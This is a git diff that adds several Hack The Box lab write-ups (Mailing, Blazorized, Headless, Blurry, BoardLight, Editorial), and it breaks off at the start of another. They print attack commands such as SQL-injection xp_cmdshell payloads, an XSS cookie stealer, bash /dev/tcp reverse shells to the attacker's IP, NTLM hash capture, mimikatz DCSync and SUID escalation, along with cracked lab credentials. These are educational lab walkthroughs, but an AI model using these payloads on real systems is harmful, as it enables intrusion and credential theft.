potential `LFI` + +![Image](/assets/img/post/mailing/9.png) + +### Directory Brute Forcing + +Dirsearch +![Image](/assets/img/post/mailing/10.png) + +Or with curl -I can give you something interesting + +`curl -I + +![Image](/assets/img/post/mailing/11.png) + +## **Exploitation** + +Our first foothold is the **LFI** found. We go to intercept the request and see what we can do. + +`/download.php?file=../../windows/system32/drivers/etc/hosts`{: filepath} + +![Image](/assets/img/post/mailing/12.png) + +We will try to point to the hosts file to confirm if we are against an LFI. + +After exploring the folder structure of hMailServer and asking ChatGPT what should be inside, I found the `hMailServer.INI` file in the `bin` folder and `hmailserver_awstats.log` in the `logs` folder. [Structure folder from hMailServer](https://www.hmailserver.com/documentation/v4.4/?page=folderstructure) + +I accessed the logs to determine which emails I can access. +![Image](/assets/img/post/mailing/13.png) + +In the `hMailServer.INI` file, I found the passwords for the admin and the database + +![Image](/assets/img/post/mailing/14.png) + +Using a hash identifier to determine the type of hash before attempting to crack it + +![Image](/assets/img/post/mailing/15.png) + +We can use [crackstation](https://crackstation.net/) for crack it or use `hashcat` as alternative + +![Image](/assets/img/post/mailing/16.png) + +`echo "841bb5acfa6779ae432fd7a4e6600ba7" >> hash2.txt` + +```bash +hashcat -m 0 -a 0 -o cracked.txt hash2.txt /usr/share/wordlists/rockyou.txt +``` + +- `m 0` sets the mode to MD5. +- `a 0` specifies a dictionary attack. + +![Image](/assets/img/post/mailing/17.png) + +841bb5acfa6779ae432fd7a4e6600ba7:`homenetworkingadministrator` + +## **Telnet** + +I'm using Telnet to verify if I can access the mail using this password. + +![Image](/assets/img/post/mailing/18.png) + +![Image](/assets/img/post/mailing/19.png) + +But we cant do anything, there is no exploitable email in the mailbox, but now that I have the credentials of the mail server, I thought that I could obtain NTLM by forcing access to the responder. + +`NTLM Hash (Windows Challenge/Response) is the cryptographic format in which user passwords are stored on Windows systems.` + +[**¿How works the NTLM Authentication?**](https://www.ionos.mx/digitalguide/servidores/know-how/ntlm/) + +After investigating some CVEs, I found one that allows me to send an email to the Maya user found in the log, for to capture an NTLM password. + +## CVE-2024-21413 + +`sudo responder -I tun0` + +```bash +python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.16.20\mailing' --subject HI +``` + +![Image](/assets/img/post/mailing/20.png) + +![Image](/assets/img/post/mailing/21.png) + +`Hash from user maya` + +```text +maya::MAILING:5e0eb9256971de1f:DEBA7F01E81351DCFEDA3C905CA932E8:010100000000000080BA1036359FDA01E3495C93763B0B450000000002000800460042005600410001001E00570049004E002D003300410035005400350049004F00550048003800330004003400570049004E002D003300410035005400350049004F0055004800380033002E0046004200560041002E004C004F00430041004C000300140046004200560041002E004C004F00430041004C000500140046004200560041002E004C004F00430041004C000700080080BA1036359FDA010600040002000000080030003000000000000000000000000020000080F0D79319E6BB3D505B32F68F03892752BD8DD6272B1FBD42563DB8BA2BE13A0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +``` + +## Hashcat + +`echo "841bb5acfa6779ae432fd7a4e6600ba7" >> hash.txt` + +``` +hashcat -m 5600 hash.txt -a 0 -o cracked_passwords.txt /usr/share/wordlists/rocky +``` + +- `m 5600` specifies the NTLMv2 hash mode. +- `a 0` specifies a dictionary attack. +- +![Image](/assets/img/post/mailing/22.png) + +![Image](/assets/img/post/mailing/23.png) + +## Evil-Winrm + + +`evil-winrm -i 10.10.11.14 -u maya -p 'm4y4ngs4ri'` + +![Image](/assets/img/post/mailing/24.png) + +User flag + +![Image](/assets/img/post/mailing/25.png) + +## **Privilege Escalation** + +After researching how to perform Privilege Escalation on a Windows server, I found some CVEs that seem interesting, such as CVE-2023-2255 for LibreOffice. + +![Image](/assets/img/post/mailing/26.png) + +[_**CVE Libre Office**_](https://github.com/elweth-sec/CVE-2023-2255?tab=readme-ov-file) + +**CVE-2023-2255** + +`python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'` + +To accomplish this, I will embed the user Maya into the exploit.odt file and grant permissions to the local group Administradores. + +## **SMB Server** + +There is an important documents folder under C:. Note that the folder has administrator rights to run. + +![Image](/assets/img/post/mailing/27.png) + +Most likely you put the odt file in there (important documents) and then get the admin shell + +`impacket-smbserver mailing` pwd `-smb2support` + +![Image](/assets/img/post/mailing/28.png) + +Let the Maya user, running in `evil-winrm`, connect and copy the `exploit.odt` file into the `Important Documents` directory, prompting Maya to click and run the `exploit.odt` file. + +``` +net use \\\\10.10.16.20\\mailing + +copy \\\\10.10.16.20\\mailing\\exploit.odt +``` +![Image](/assets/img/post/mailing/29.png) + +After waiting for a few seconds, I'll check the status of the Maya user. + +`net user maya` + +## **Dump SAM Hash** + +![Image](/assets/img/post/mailing/30.png) + +⭐_HackTool:Win32/Dump is a command line tool that dumps password hashes from Windows NT's SAM(Security Accounts Manager) database. The dumped password hashes can be fed into an NT password auditing tool, such as L0phtCrack to recover the passwords of Windows NT users._ + + +**`crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam`** + +- `crackmapexec smb`: Specifies that `crackmapexec` will be used to interact with the SMB protocol. `crackmapexec` is a versatile tool used for pentesting the security of network services, SMB being one of them. +- `u maya`: This flag followed by `maya` specifies the username to be used when authenticating to the SMB service on the target machine. +- `p "m4y4ngs4ri"`: This flag followed by `"m4y4ngs4ri"` specifies the password for the username provided. Together with the username, this forms the credentials used for SMB authentication. +- `-sam`: This is an option that instructs `crackmapexec` to attempt to dump the SAM (Security Account Manager) database. The SAM database stores user credentials in a Windows system, typically hashed passwords. Dumping the SAM can be used to retrieve these hashes, which can then be cracked offline to obtain plaintext passwords. + +![Image](/assets/img/post/mailing/31.png) + +## **Remote Windows machine using WMIExec** + +`impacket-wmiexec localadmin@10.10.11.14 -hashes aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae` + +- `impacket-wmiexec`: This is a script from the Impacket suite, which is a collection of Python classes for working with network protocols. `impacket-wmiexec` is specifically designed for executing commands remotely on Windows systems using WMI. + +- `localadmin@10.10.11.14`: + + - `localadmin` is the username being used to authenticate. + - `10.10.11.14` is the IP address of the target machine where commands will be executed. +- `hashes aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae`: + + - `hashes` specifies that hash values are being used instead of a plaintext password for authentication. + - `aad3b435b51404eeaad3b435b51404ee` is the LM hash. It is often a placeholder since LM hashing is less secure and frequently disabled in modern systems. + - `9aa582783780d1546d62f2d102daefae` is the NT hash, which is the hash of the actual password for the account. + +[Impacket-wmiexec](https://tools.thehacker.recipes/impacket) + +![Image](/assets/img/post/mailing/32.png) + + +`Root` \ No newline at end of file diff --git a/_posts/2024-01-08-blazorized.md b/_posts/2024-01-08-blazorized.md new file mode 100644 index 0000000..2e45993 --- /dev/null +++ b/_posts/2024-01-08-blazorized.md @@ -0,0 +1,288 @@ +--- +title: HTB - Blazorized +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Blazorized] +tags: [HackTheBox, NTLM, Evil-winrm, nmap, hashcat, Movement Lateral, Active Directory, BloodHound, mimikatz, logoncount, Blazor, metasploit, sqlinjection, powershell, winPEAS] +image: + path: /assets/img/post/blazorized/Blazorized-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Blazorized. +--- + +## Box Info + +| Name | Blazorized | +| :-------------------- | ---------------: | +| Release Date | 02 Mar, 2024 | +| OS | Windows | +| Rated Difficulty | Medium | + +## **Enumeration** + +Tip: +![Image](/assets/img/post/blazorized/0.png) + +## **Nmap** + +![Image](/assets/img/post/blazorized/1.png) + +## Web + +![Image](/assets/img/post/blazorized/2.png) + +Puerto{: filepath} `445 Microsoft Directory Services` + +```bash +smbclient -L //blazorized.htb +``` + +![Image](/assets/img/post/blazorized/3.png) + +## Scan Subdomains + +```bash +wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302 -H "Host: FUZZ.blazorized.htb" -u http://blazorized.htb -t 100 +``` + +![Image](/assets/img/post/blazorized/4.png) + +With ffuf + +```bash +ffuf -c -u "http://blazorized.htb" -H "host: FUZZ.blazorized.htb" -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -fc 301,302 -mc all +``` + +![Image](/assets/img/post/blazorized/5.png) + +We found a subdomain called 'admin,' and we added it to our hosts. + +Web application on port 80 is built with the `Blazor WebAssembly` + +![Image](/assets/img/post/blazorized/6.png) + +Blazor webassembly works with Js and json + +![Image](/assets/img/post/blazorized/7.png) + +We found a script write in js + +![Image](/assets/img/post/blazorized/8.png) + +For read better the code we need to copy and paste to beautifier.io Web. + +![Image](/assets/img/post/blazorized/9.png) + + +We found a interesting path. + +![Image](/assets/img/post/blazorized/10.png) + +The _framework folder contains essential files for the operation of the Blazor application, including `.dll files`, `resources`, and `configuration files`. + +- `/_framework/blazor.webassembly.js`: Essential for running Blazor apps +- `/_framework/wasm/`: Contains WebAssembly binaries + +Download the DLLs for decompile + +![Image](/assets/img/post/blazorized/11.png) + +## DLL Ananlysis + +Decompile DLLs using `DNSpy` in windows. + +![Image](/assets/img/post/blazorized/12.png) + +`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIwMDAwMDAwfQ.tJptKXJlG9KDSjxR9Y3gxdcSy7fHj-50GS6_Dd9PAOk` + +Build a jwt for Super_Admin + +![Image](/assets/img/post/blazorized/13.png) + +**Set the jwt token to Local Storage:** + +![Image](/assets/img/post/blazorized/14.png) + +We need use this for secret key for jwt (dont forget) + +![Image](/assets/img/post/blazorized/15.png) + +Now we have to copy the string create in jwt.io web and storage local in the web. + +![Image](/assets/img/post/blazorized/16.png) + +![Image](/assets/img/post/blazorized/17.png) + +In the section "Check Duplicate" from the web,It make a search in the database, if some category is duplicate, so we a exploit this with SQLinjection + +![Image](/assets/img/post/blazorized/18.png) + +The web run a microsoft sql for a get a revshell. [Hacktricks](https://book.hacktricks.xyz/v/es/network-services-pentesting/pentesting-mssql-microsoft-sql-server) + +![Image](/assets/img/post/blazorized/19.png) + +Now we are going to use these commands and find out if we are successful. + +![Image](/assets/img/post/blazorized/20.png) + +```shell +test'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- - +``` + +```shell +test'; exec master..xp_cmdshell 'powershell -e *powershellBased64*';-- - +``` + +## Nu_1055 + +We got the shell!!. + +![Image](/assets/img/post/blazorized/21.png) + +Change the shell to a meterpreter shell, create a payload, upload and execute. + +![Image](/assets/img/post/blazorized/22.png) + +![Image](/assets/img/post/blazorized/23.png) + +![Image](/assets/img/post/blazorized/24.png) + +This practice is more convenient for executing certain commands that we cannot perform in the previous shell. + +![Image](/assets/img/post/blazorized/25.png) + +It is a tool for visualizing relationships and permissions within an Active Directory (AD) or Azure environment (Azure Active Directory, AAD). + +[BloodHound](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) + +Upload with metasploit to victim machine and execute the follow command: + +```shell +powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all" +``` +![Image](/assets/img/post/blazorized/26.png) + +Download with the metasploit the .zip in owner attack machine + +![Image](/assets/img/post/blazorized/27.png) + + +![Image](/assets/img/post/blazorized/28.png) + +![Image](/assets/img/post/blazorized/29.png) + +## Movement Lateral + +Extract the zip and use it to BloodHound + + + +![Image](/assets/img/post/blazorized/30.png) + +### WriteSPN + +- BloodHound reveals that `NU_1055` has `writeSPN Privilege` on the `RSA_4801` account +- Vulnerable to SPN-jacking + +![Image](/assets/img/post/blazorized/31.png) + +![Image](/assets/img/post/blazorized/32.png) + + +Upload the PowerView.ps1 with metasploit and execute: + +set SPN + +```shell +Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='test/test'} +``` + +Request Service Ticket + +```shell +Get-DomainSPNTicket -SPN test/test +``` + +![Image](/assets/img/post/blazorized/33.png) + + + +**Tip**: make the hash use all space in your file txt + +this : + +![Image](/assets/img/post/blazorized/34.png) + +to this: + +![Image](/assets/img/post/blazorized/35.png) + +#### Hashcat + +Cracked the hash with **hashcat** + +```bash +hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -o found.txt --force +``` + +![Image](/assets/img/post/blazorized/36.png) + +password: `(Ni7856Do9854Ki05Ng0005 #)` + +![Image](/assets/img/post/blazorized/37.png) + +Use evil-winrm for login as RSA_4810: +```javascript +sudo evil-winrm -i blazorized.htb -u RSA_4810 -p '(Ni7856Do9854Ki05Ng0005 #)' +``` + +### RSA_4810 + +![Image](/assets/img/post/blazorized/38.png) + +Use the PowerView.ps1 and upload to RSA_4810 for use Get-NetUser command + +![Image](/assets/img/post/blazorized/39.png) + +### SSA_6010 + +The another users has a `logoncount` 0 and the user `SSA_6010` has a logoncount 4236. + +LogonCount is a login count, a property that is part of the profile information in an `Active Directory (AD)` environment. + +![Image](/assets/img/post/blazorized/40.png) + +From Bloodhound we can see that RSA_4810 is member of group Remote_Support_Administrators. +Upload `winPEAS` and Run and it show us a writeable file path. + +We have write privilege under A32FF3AEAA23 directory in SYSVOL. + +icacls A32FF3AEAA23 + +![Image](/assets/img/post/blazorized/41.png) + +```shell +'powershell -e *base64*' | Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\revshell.bat -Encoding ASCII +``` + +```shell +Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\revshell.bat' +``` + +![Image](/assets/img/post/blazorized/42.png) + +Wait a second and get the shell for SSA_6010 and upload the SharpHound or look again +and see the option "Find Principals with DCSync Rights" and see the SSA_6010 has a DCSync + +![Image](/assets/img/post/blazorized/43.png) + +Upload a mimikatz.exe and execute the following command: + +lsadump::dcsync /domain:blazorized.htb /user:Administrator + +![Image](/assets/img/post/blazorized/44.png) + +And we got the NTHASH for used in evil-winrm + +![Image](/assets/img/post/blazorized/45.png) + +Rooted \ No newline at end of file diff --git a/_posts/2024-01-09-headless.md b/_posts/2024-01-09-headless.md new file mode 100644 index 0000000..550c03d --- /dev/null +++ b/_posts/2024-01-09-headless.md @@ -0,0 +1,136 @@ +--- +title: HTB - Headless +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Headless] +tags: [HackTheBox, Python Werkzeug, XSS, User-Agent] +image: + path: /assets/img/post/headless/Headless-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Headless. +--- + +## Box Info + +| Name | Headless | +| :-------------------- | ---------------: | +| Release Date | 23 Mar, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## **Enumeration** + +```bash +nmap -A -Pn 10.10.11.8 -oG allPorts +``` + +![Image](/assets/img/post/headless/1.png) + +[http://10.10.11.8:5000/](http://10.10.11.8:5000/) + +![Image](/assets/img/post/headless/2.png) + +## Scan Directory + +We dont found anything interesting... + +![Image](/assets/img/post/headless/3.png) + +### BurpSuite + +Now go to /support + +![Image](/assets/img/post/headless/5.png) + +And we try to intercept this with Burpsuite + +![Image](/assets/img/post/headless/4.png) + +If I try some HTML injection returns the HTTP request content. + +![Image](/assets/img/post/headless/attemp.png) + +The HTTP `response` headers show it’s a `Werkzeug / Python server` + +**Exploitation** + +**Blind XSS on User-Agent** + +Try to figerout a large time i found the XSS over header put in a `header-false: a` + +`:/'+document.cookie);>` + +![Image](/assets/img/post/headless/6.png) + + +**Python Server** + +`python -m http.server 8020` + +![Image](/assets/img/post/headless/7.png) + +![Image](/assets/img/post/headless/8.png) + +After Exploit XSS at User-Agent, we get a reply back with the **admin cookie** at the python server + +![Image](/assets/img/post/headless/9.png) + + +[http://10.10.11.8:5000/dashboard](http://10.10.11.8:5000/dashboard) + +![Image](/assets/img/post/headless/10.png) + +![Image](/assets/img/post/headless/11.png) + + +**Reverse Shell** + +![Image](/assets/img/post/headless/12.png) + +``` +#!/bin/bash +/bin/bash -c 'exec bash -i >& /dev/tcp// 0>&1' +#Create Reverse Shell script into a file, In my case I create .sh +``` + +![Image](/assets/img/post/headless/13.png) + +![Image](/assets/img/post/headless/14.png) + +![Image](/assets/img/post/headless/15.png) + +![Image](/assets/img/post/headless/16.png) + +**User Flag** + +## Privilege Escalation + +#### Check sudo -l + +![Image](/assets/img/post/headless/17.png) + +Syscheck + +cat /usr/bin/syscheck: + +![Image](/assets/img/post/headless/18.png) + + +### Exploit [initdb.sh](http://initdb.sh) + +`echo "chmod u+s /bin/bash" > initdb.sh chmod +x initdb.sh` + +- `chmod u+s /bin/bash`: Sets the set-user-ID (SUID) permission on `/bin/bash`, allowing users to execute the bash shell with the file owner's (typically root) privileges. +- `chmod +x initdb.sh`: This command changes the permissions of the file `initdb.sh`, making it executable (`+x`) by the file's owner, group, and others. This allows the script to be run as a program by the user. + +![Image](/assets/img/post/headless/19.png) + +``` +sudo /usr/bin/syscheck +/bin/bash -p +``` + +`/bin/bash -p`: starts a bash shell with root privileges retained, due to the SUID bit making the shell run with the file owner's (root's) effective ID. + +![Image](/assets/img/post/headless/20.png) + +**Root Flag** \ No newline at end of file diff --git a/_posts/2024-01-10-blurry.md b/_posts/2024-01-10-blurry.md new file mode 100644 index 0000000..26c5230 --- /dev/null +++ b/_posts/2024-01-10-blurry.md @@ -0,0 +1,96 @@ +--- +title: HTB - Blurry +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Blurry] +tags: [HackTheBox, CVE-2024-24590, ClearML, pickle files, pth files,artifact, API] +image: + path: /assets/img/post/blurry/Blurry.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Blurry. +--- + +## Box Info + +| Name | Blurry | +| :-------------------- | ---------------: | +| Release Date | 30 Mar, 2024 | +| OS | Linux | +| Rated Difficulty | Medium | + +## **Enumeration** + +```bash +nmap -p- --open --min-rate 5000 -sS -vvv -n -Pn 10.10.11.19 -oG allports +nmap -sCV -p 22,80 10.10.11.19 -oN targeted +``` + +![Image](/assets/img/post/blurry/0.png) + +```bash +echo " 10.10.11.19 app.blurry.htb" | sudo tee -a /etc/hosts +``` + +## ClearML + +![Image](/assets/img/post/blurry/1.png) + +At this point, it is important to know what clear ML is and how it works. +After much searching and gathering information, I found that we can connect through a Python package called clearml-agent and create an environment. + +During the research process, I found that clearml has a **`CVE-2024-24590: Pickle Load on Artifact Get`**. + +## CVE-2024-24590 + +*ClearML involves the inherent insecurity of pickle files. We discovered that an attacker could create a pickle file containing arbitrary code and upload it as an artifact to a project via the API. When a user calls the get method within the Artifact class to download and load a file into memory, the pickle file is deserialized on their system, running any arbitrary code it contains.* + + + +![Image](/assets/img/post/blurry/3.png) + +### Create credentials + +To do this, we need to create new credentials to connect through clearml-agent, and to set up, we use the 'init' option. + +![Image](/assets/img/post/blurry/4.png) + +We press enter on the options and boom, we're connected. + +![Image](/assets/img/post/blurry/5.png) + +So once connected, we'll proceed to exploit the vulnerability. + +![Image](/assets/img/post/blurry/6.png) + + + +![Image](/assets/img/post/blurry/7.png) + +## Privilege Escalation +### Sudo -l +Once **I had the reverse shell**, I continued with my enumeration and found a vulnerability with 'sudo -l + +![Image](/assets/img/post/blurry/2.png) + +I dug into the files and found that when executing /usr/bin/`evaluate_model`, it ran the `demo_model.pth`, which in turn executed the .py file located in `/models/`{: .filepath}. So, I modified the .py file to obtain a reverse shell. + +![Image](/assets/img/post/blurry/8.png) + + + +But be careful, it runs with 'sudo' as it doesn't require a password to execute it, so we'll obtain a privileged reverse shell. + +```bash +sudo evaluate_model /models/demo_model.pth +``` + +![Image](/assets/img/post/blurry/9.png) + +With netcat listening the port 9001 + +![Image](/assets/img/post/blurry/10.png) + +**`Root`** + +![Image](/assets/img/post/blurry/11.png) diff --git a/_posts/2024-01-11-boardlight.md b/_posts/2024-01-11-boardlight.md new file mode 100644 index 0000000..e75ab4f --- /dev/null +++ b/_posts/2024-01-11-boardlight.md @@ -0,0 +1,114 @@ +--- +title: HTB - BoardLight +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , BoardLight] +tags: [HackTheBox, Dolibarr, PHP, CVE-2023-30253, LinPEAS, CVE-2022-37706] +image: + path: /assets/img/post/boardlight/BoardLight-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - BoardLight. +--- + +## Box Info + +| Name | BoardLight | +| :-------------------- | ---------------: | +| Release Date | 25 May, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## **Enumeration** + +![Image](/assets/img/post/boardlight/0.png) + +### SubDomain + +```bash +wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt "Host: FUZZ.board.htb" -u [](http://board.htb/)[http://board.htb](http://board.htb) +``` + +![Image](/assets/img/post/boardlight/1.png) + +![Image](/assets/img/post/boardlight/2.png) + +![Image](/assets/img/post/boardlight/e.png) + +![Image](/assets/img/post/boardlight/z.png) + +The login page is using the default credentials by Dolibarr + +## Dolibarr 17.0.0 + +### CVE-2023-30253 + +[`Missing Error Handling | OWASP Foundation`](https://owasp.org/www-community/vulnerabilities/Missing_Error_Handling) + +The version Dolibarr 17.0.0 has a vulnerability to `PHP Code injection` (RCE) (CVE-2023-30253) + +[Dolibarr confirm RCE in the version 17.0.0](https://github.com/advisories/GHSA-9wqr-5jp4-mjmh) + + +[Security Advisory: Dolibarr 17.0.0 PHP Code Injection (CVE-2023-30253) - Swascan](https://www.swascan.com/security-advisory-dolibarr-17-0-0/) + +![Image](/assets/img/post/boardlight/b.png) + +We make a page and use PHP for try to get a reverse shell. + +![Image](/assets/img/post/boardlight/x.png) + +![Image](/assets/img/post/boardlight/s.png) + +```js + +``` + +![Image](/assets/img/post/boardlight/a.png) + +```php +
+& /dev/tcp/10.10.14.88/7777 0>&1'");?> +
+``` + +[https://wiki.dolibarr.org/index.php?title=Backups](https://wiki.dolibarr.org/index.php?title=Backups) + +### Credentials + +```zsh +$dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_prefix='llx_'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!'; $dolibarr_main_db_type='mysqli'; + +dolibarrowner + +serverfun2$2023!! + +cat /etc/passwd | grep bash + +SSH: + +larissa + +serverfun2$2023!! +``` + +![Image](/assets/img/post/boardlight/3.png) + + +I found no exploitable points and uploaded linpeas to scan for vulnerabilities. + +## LinPEAS + +`_LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix_/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)_` + +[PEASS-ng/linPEAS at master · peass-ng/PEASS-ng](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) + +## Enlightenment_sys + +Enlightenment_sys in some cases could be an internal component or refer to scripts or tools for interacting with Enlightenment; it could also be a module or a configuration depending on the context. + +![Image](/assets/img/post/boardlight/4.png) + +In this point it's just exploit the CVE for scalation previleges and get the root flag. + +[GitHub - MaherAzzouzi/CVE-2022-37706-LPE-exploit: A reliable exploit + write-up to elevate privileges to root. (Tested on Ubuntu 22.04)](https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/tree/main) + +Run exploit.sh and you obtained the shell as `root`. \ No newline at end of file diff --git a/_posts/2024-01-12-editorial.md b/_posts/2024-01-12-editorial.md new file mode 100644 index 0000000..8a16085 --- /dev/null +++ b/_posts/2024-01-12-editorial.md @@ -0,0 +1,125 @@ +--- +title: HTB - Editorial +date: 2020-11-18 12:17:34 -0400 +categories: [hackthebox , Editorial] +tags: [SSRF, Python, Git] +image: + path: /assets/img/post/editorial/Editorial-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Editorial. +--- + +## Box Info + +| Name | Editorial | +| :-------------------- | ---------------: | +| Release Date | 15 Jun, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## **Enumeration** + +![Image](/assets/img/post/editorial/image.png) + +echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts +![Image](/assets/img/post/editorial/image-1.png) +whatweb: +![Image](/assets/img/post/editorial/image-2.png) +Web: +![Image](/assets/img/post/editorial/image-3.png) +dirsearch -u http://editorial.htb/ +![Image](/assets/img/post/editorial/image-4.png) + +This page is interesting, we can preview an image from a file or url. + +![Image](/assets/img/post/editorial/image-5.png) + +## SSRF + +The file name is renamed and the file extension is removed. When we open the preview image in a new tab, the file downloaded directly, so it seems like we can’t execute any shell directly. + +When I upload a file and add a url "http://127.0.0.1/" and intercept with BurpSuite, we can see the response 200 OK and showing a image directory location, this point to a `SSRF`. + +![Image](/assets/img/post/editorial/image-6.png) + +In an [SSRF](https://portswigger.net/web-security/ssrf) attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like `127.0.0.1` (a reserved IP address that points to the loopback adapter) or `localhost` (a commonly used name for the same adapter) + +![Image](/assets/img/post/editorial/image-7.png) + +The response shows us a directory path, let's download the file and see what's inside. + +![Image](/assets/img/post/editorial/image-8.png) + +![Image](/assets/img/post/editorial/image-9.png) + + +![Image](/assets/img/post/editorial/image-10.png) + +And re upload the file and add the path in burpsuite. + +`/api/latest/metadata/messages/authors`{: .filepath} + +![Image](/assets/img/post/editorial/image-11.png) + +![Image](/assets/img/post/editorial/image-12.png) + +Username: dev - Password: dev080217_devAPI!@ +![Image](/assets/img/post/editorial/image-13.png) + +user flag +![Image](/assets/img/post/editorial/image-14.png) + +![Image](/assets/img/post/editorial/image-15.png) + +### Linux Enumeration + +```bash +find / -user dev 2>/dev/null | grep -vE "sys|proc" +``` + +![Image](/assets/img/post/editorial/image-16.png) + + +![Image](/assets/img/post/editorial/image-17.png) + +The command `Git show` displays detailed information about a commit. + +![Image](/assets/img/post/editorial/image-18.png) + + +![Image](/assets/img/post/editorial/image-19.png) + +080217_Producti0n_2023!@ for prod +- su `prod` +- password: `080217_Producti0n_2023!@` + +## Privilege Escalation + +sudo -l + +![Image](/assets/img/post/editorial/image-20.png) + +```bash +- echo '#!/bin/bash' > /tmp/exploit.sh + +- echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh +``` + +![Image](/assets/img/post/editorial/image-21.png) + +```bash +- sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'" +``` + +![Image](/assets/img/post/editorial/image-22.png) + +- `ls -l /bin/bash` + +![Image](/assets/img/post/editorial/image-23.png) + +Start a new bash session. + +- `/bin/bash -p` + +![Image](/assets/img/post/editorial/image-24.png) + diff --git a/_posts/2024-01-13-greenhorn.md b/_posts/2024-01-13-greenhorn.md new file mode 100644 index 0000000..3502d12 --- /dev/null +++ b/_posts/2024-01-13-greenhorn.md @@ -0,0 +1,107 @@ +--- +title: HTB - GreenHorn +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , GreenHorn] +tags: [HackTheBox, CMS pluck, RCE, User-Agent] +image: + path: /assets/img/post/greenhorn/greenhorn-card.png + lqip: 